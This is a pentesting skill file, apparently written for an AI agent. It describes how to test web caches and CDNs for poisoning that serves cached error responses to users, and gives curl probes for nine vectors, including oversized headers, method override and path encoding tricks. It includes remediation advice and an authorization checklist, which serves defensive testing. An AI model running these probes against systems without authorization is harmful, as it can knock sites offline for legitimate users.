Hacktricks-skills cache-poisoning-dos

How to test for web cache poisoning vulnerabilities that can lead to denial of service. Use this skill whenever the user mentions cache servers, CDNs, DoS attacks, web server vulnerabilities, HTTP headers, Cloudflare, or any scenario where they want to test if error responses can be cached and served to legitimate users. This includes testing for header-based attacks, method override vulnerabilities, and cache key manipulation.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/cache-deception/cache-poisoning-to-dos/SKILL.MD
source content

Cache Poisoning to DoS Testing

This skill helps you test for cache poisoning vulnerabilities where error responses from web servers get cached by upstream cache servers (CDNs, reverse proxies) and served to legitimate users, causing denial of service.

⚠️ Authorization Required

Only perform these tests on systems you own or have explicit written authorization to test. Unauthorized testing is illegal and unethical.

Understanding the Attack

Cache poisoning to DoS works by:

  1. Sending a request that the cache server considers valid and caches
  2. The web server behind the cache responds with an error (400, 403, 404, 414, etc.)
  3. The cache stores this error response
  4. Legitimate users receive the cached error instead of the actual content

Attack Vectors

1. HTTP Header Oversize (HHO)

Send a request with a header larger than the web server supports but smaller than the cache server supports.

Test approach:

  • Start with a normal request
  • Gradually increase header size
  • Watch for 400 Bad Request responses that get cached

Example:

curl -H "X-Oversize-Header:$(python3 -c 'print("A"*10000)')" https://target.com/

What to look for:

  • 400 Bad Request from web server
  • Cache headers indicating the response was cached (e.g.,
    CF-Cache-Status: HIT
    )

2. HTTP Meta Characters (HMC)

Send headers containing special characters that the web server rejects but the cache accepts.

Test approach:

  • Try headers with
    \n
    ,
    \r
    ,
    :
    , or other special characters
  • Test unexpected header values

Examples:

# Meta characters in header value
curl -H "X-Meta-Header:Bad Chars\n\r" https://target.com/

# Unexpected Content-Type
curl -H "Content-Type: HelloWorld" https://target.com/

# Malformed header
curl -H "X-Bad:\:" https://target.com/

3. Unkeyed Headers

Some headers aren't included in the cache key but trigger errors on the web server.

Common problematic headers:

  • X-Amz-Website-Location-Redirect
  • X-Forwarded-Host
  • X-Original-URL
  • Custom headers specific to the application

Test approach:

curl -H "X-Amz-Website-Location-Redirect: something" https://target.com/

What to look for:

  • 403 Forbidden or similar error
  • Cache hit status in response headers

4. HTTP Method Override (HMO)

If the server supports method override headers, you can trick it into processing a request as a different method.

Test approach:

# Try different method override headers
curl -H "X-HTTP-Method-Override: POST" https://target.com/valid-page
curl -H "X-HTTP-Method: DELETE" https://target.com/valid-page
curl -H "X-Method-Override: PUT" https://target.com/valid-page

What to look for:

  • 405 Method Not Allowed or similar
  • Response gets cached despite being an error

5. Unkeyed Port

If the port in the Host header isn't part of the cache key but gets reflected in responses.

Test approach:

# Try different ports
curl -H "Host: target.com:1" https://target.com/
curl -H "Host: target.com:9999" https://target.com/

What to look for:

  • 301/302 redirects to the unusual port
  • Cache miss on first request, then cache hit on subsequent requests

6. Long Redirect DoS

Exploit uncached query parameters to create redirect loops or oversized URLs.

Test approach:

# Find uncached parameters, then make them very long
curl "https://target.com/login?x=$(python3 -c 'print("A"*10000)')"

What to look for:

  • 301/302 redirect that includes the long parameter
  • 414 Request-URI Too Large on the redirected URL
  • The error gets cached for users without the parameter

7. Host Header Case Normalization

Some servers expect lowercase host headers but caches treat them as case-insensitive.

Test approach:

# Try different case variations
curl -H "Host: Target.com" https://target.com/
curl -H "Host: TARGET.COM" https://target.com/
curl -H "Host: TaRgEt.CoM" https://target.com/

What to look for:

  • 404 Not Found or similar error
  • Cache hit on subsequent requests with normal case

8. Path Normalization

Exploit differences in URL encoding between cache and web server.

Test approach:

# URL encode parts of the path
curl "https://target.com/api/v1%2e1/user"
curl "https://target.com/api/v1%252e1/user"
curl "https://target.com/api%2Fv1/user"

What to look for:

  • 404 Not Found
  • Cache stores the decoded version

9. Fat GET (GET with Body)

Some caches and servers reject GET requests with bodies.

Test approach:

curl -X GET --data "xyz" -H "Content-Length: 3" https://target.com/

What to look for:

  • 403 Forbidden or 400 Bad Request
  • Response gets cached

Testing Methodology

Step 1: Reconnaissance

  1. Identify the cache layer:

    • Look for cache headers (
      CF-Cache-Status
      ,
      X-Cache
      ,
      Age
      ,
      Via
      )
    • Check for CDN indicators in response headers
  2. Map cache behavior:

    • Test which responses get cached (status codes, content types)
    • Identify cache key components (headers, query params, path)

Step 2: Baseline Testing

# Normal request to establish baseline
curl -v https://target.com/ | grep -i cache

Step 3: Attack Testing

Use the

cache-poisoning-test.sh
script to systematically test each vector:

./cache-poisoning-test.sh https://target.com

Step 4: Verification

For each potential vulnerability:

  1. Send the malicious request
  2. Verify the error response was cached (check cache headers)
  3. Send a normal request and verify you get the cached error
  4. Document the exact request/response pair

Step 5: Impact Assessment

  • Can this affect all users or just some?
  • How long does the poisoned cache last (TTL)?
  • What's the business impact (login pages, checkout, etc.)?

Reporting Findings

When documenting cache poisoning vulnerabilities:

  1. Include the exact request that triggers the vulnerability
  2. Show the cached error response with cache headers
  3. Demonstrate the impact - show a normal user getting the error
  4. Provide remediation - see below

Remediation Recommendations

For Cache Operators:

  1. Don't cache error responses - Configure cache to bypass on 4xx/5xx
  2. Include all headers in cache key - Or explicitly exclude dangerous ones
  3. Validate headers before caching - Reject malformed requests at cache layer
  4. Use short TTLs for dynamic content - Limit exposure window

For Web Server Operators:

  1. Normalize headers consistently - Same behavior as cache layer
  2. Return 400 for malformed requests - Don't let them reach cache
  3. Avoid reflecting user input in responses - Especially in redirects
  4. Implement proper cache control - Use
    no-store
    for sensitive endpoints

Tools and Scripts

Use the bundled scripts to automate testing:

  • cache-poisoning-test.sh
    - Run all attack vectors against a target
  • analyze-cache-headers.py
    - Parse and analyze cache-related headers

References

Safety Checklist

Before testing:

  • I have written authorization to test this target
  • I understand the potential for service disruption
  • I'm testing during a maintenance window or low-traffic period
  • I have a way to quickly invalidate cache if needed
  • I'm not testing production systems without explicit permission